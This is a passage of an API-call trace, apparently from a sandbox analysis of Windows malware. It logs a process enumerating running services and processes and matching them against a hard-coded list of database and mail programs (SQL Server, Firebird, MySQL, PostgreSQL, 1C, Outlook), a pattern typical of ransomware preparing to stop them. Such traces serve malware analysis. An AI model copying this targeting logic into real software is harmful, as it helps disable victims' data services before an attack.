(dwMilliseconds=0x1f4) [0035.681] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fb98 [0035.681] EnumServicesStatusExW (in: hSCManager=0x52fb98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0035.682] GetLastError () returned 0xea [0035.682] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x11e4) returned 0x5a1da0 [0035.682] EnumServicesStatusExW (in: hSCManager=0x52fb98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a1da0, cbBufSize=0x11e4, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a1da0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0035.682] CloseServiceHandle (hSCObject=0x52fb98) returned 1 [0035.682] lstrlenW (lpString="Appinfo") returned 7 [0035.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0035.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0035.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0035.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0035.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0035.683] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0035.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0035.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0035.683] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0035.683] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0035.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0035.683] lstrlenW (lpString="AudioSrv") returned 8 [0035.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0035.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0035.683] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0035.683] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0035.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0035.683] lstrlenW (lpString="BFE") returned 3 [0035.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0035.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0035.683] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0035.683] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0035.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0035.683] lstrlenW (lpString="CryptSvc") returned 8 [0035.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0035.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0035.683] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0035.683] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0035.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0035.683] lstrlenW (lpString="CscService") returned 10 [0035.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0035.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0035.683] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0035.683] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0035.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0035.683] lstrlenW (lpString="DcomLaunch") returned 10 [0035.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0035.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0035.684] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0035.684] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0035.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0035.684] lstrlenW (lpString="Dhcp") returned 4 [0035.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0035.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0035.684] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0035.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0035.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0035.684] lstrlenW (lpString="Dnscache") returned 8 [0035.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0035.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0035.684] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0035.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0035.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0035.684] lstrlenW (lpString="DPS") returned 3 [0035.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0035.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0035.684] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0035.684] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0035.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0035.684] lstrlenW (lpString="eventlog") returned 8 [0035.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0035.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0035.684] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0035.684] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0035.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0035.684] lstrlenW (lpString="EventSystem") returned 11 [0035.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0035.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0035.684] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0035.684] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0035.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0035.685] lstrlenW (lpString="gpsvc") returned 5 [0035.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0035.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0035.685] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0035.685] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0035.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0035.685] lstrlenW (lpString="iphlpsvc") returned 8 [0035.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0035.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0035.685] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0035.685] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0035.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0035.685] lstrlenW (lpString="LanmanServer") returned 12 [0035.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0035.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0035.685] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0035.685] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0035.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0035.685] lstrlenW (lpString="LanmanWorkstation") returned 17 [0035.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0035.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0035.685] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0035.685] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0035.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0035.685] lstrlenW (lpString="lmhosts") returned 7 [0035.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0035.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0035.685] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0035.685] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0035.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0035.685] lstrlenW (lpString="MMCSS") returned 5 [0035.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0035.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0035.685] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0035.686] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0035.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0035.686] lstrlenW (lpString="MpsSvc") returned 6 [0035.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0035.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0035.686] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0035.686] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0035.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0035.686] lstrlenW (lpString="Netman") returned 6 [0035.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0035.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0035.686] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0035.686] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0035.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0035.686] lstrlenW (lpString="netprofm") returned 8 [0035.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0035.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0035.686] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0035.686] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0035.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0035.686] lstrlenW (lpString="NlaSvc") returned 6 [0035.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0035.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0035.686] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0035.686] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0035.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0035.686] lstrlenW (lpString="nsi") returned 3 [0035.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0035.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0035.686] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0035.686] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0035.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0035.686] lstrlenW (lpString="PcaSvc") returned 6 [0035.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0035.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0035.687] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0035.687] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0035.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0035.687] lstrlenW (lpString="PlugPlay") returned 8 [0035.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0035.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0035.687] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0035.687] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0035.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0035.687] lstrlenW (lpString="Power") returned 5 [0035.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0035.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0035.687] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0035.687] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0035.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0035.687] lstrlenW (lpString="ProfSvc") returned 7 [0035.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0035.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0035.687] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0035.687] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0035.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0035.687] lstrlenW (lpString="RpcEptMapper") returned 12 [0035.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0035.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0035.687] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0035.687] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0035.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0035.687] lstrlenW (lpString="RpcSs") returned 5 [0035.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0035.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0035.687] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0035.687] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0035.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0035.688] lstrlenW (lpString="SamSs") returned 5 [0035.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0035.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0035.688] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0035.688] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0035.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0035.688] lstrlenW (lpString="Schedule") returned 8 [0035.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0035.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0035.688] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0035.688] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0035.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0035.688] lstrlenW (lpString="SENS") returned 4 [0035.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0035.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0035.688] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0035.688] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0035.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0035.688] lstrlenW (lpString="ShellHWDetection") returned 16 [0035.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0035.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0035.688] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0035.688] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0035.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0035.688] lstrlenW (lpString="Spooler") returned 7 [0035.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0035.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0035.688] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0035.688] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0035.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0035.688] lstrlenW (lpString="SysMain") returned 7 [0035.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0035.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0035.688] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0035.689] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0035.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0035.689] lstrlenW (lpString="Themes") returned 6 [0035.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0035.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0035.689] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0035.689] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0035.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0035.689] lstrlenW (lpString="TrkWks") returned 6 [0035.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0035.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0035.689] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0035.689] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0035.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0035.689] lstrlenW (lpString="UxSms") returned 5 [0035.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0035.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0035.689] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0035.689] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0035.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0035.689] lstrlenW (lpString="WdiServiceHost") returned 14 [0035.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0035.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0035.689] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0035.689] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0035.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0035.689] lstrlenW (lpString="WdiSystemHost") returned 13 [0035.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0035.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0035.689] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0035.689] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0035.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0035.689] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0035.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0035.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0035.690] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0035.690] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0035.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0035.690] lstrlenW (lpString="Winmgmt") returned 7 [0035.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0035.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0035.690] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0035.690] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0035.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0035.690] lstrlenW (lpString="WPDBusEnum") returned 10 [0035.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0035.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0035.690] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0035.690] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0035.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0035.690] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5a1da0 | out: hHeap=0x4b0000) returned 1 [0035.690] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b8 [0035.693] Process32FirstW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0035.693] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0035.694] lstrlenW (lpString="System") returned 6 [0035.694] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0035.694] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0035.694] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0035.694] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0035.694] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0035.694] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0035.694] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0035.694] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0035.695] lstrlenW (lpString="smss.exe") returned 8 [0035.695] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0035.695] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0035.695] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0035.695] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0035.695] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0035.695] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0035.695] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0035.695] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0035.696] lstrlenW (lpString="csrss.exe") returned 9 [0035.696] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0035.696] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0035.696] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0035.696] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0035.696] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0035.696] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0035.696] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0035.696] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0035.697] lstrlenW (lpString="wininit.exe") returned 11 [0035.697] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0035.697] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0035.697] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0035.697] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0035.697] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0035.697] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0035.697] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0035.697] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0035.698] lstrlenW (lpString="csrss.exe") returned 9 [0035.698] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0035.698] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0035.698] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0035.698] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0035.698] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0035.698] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0035.698] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, 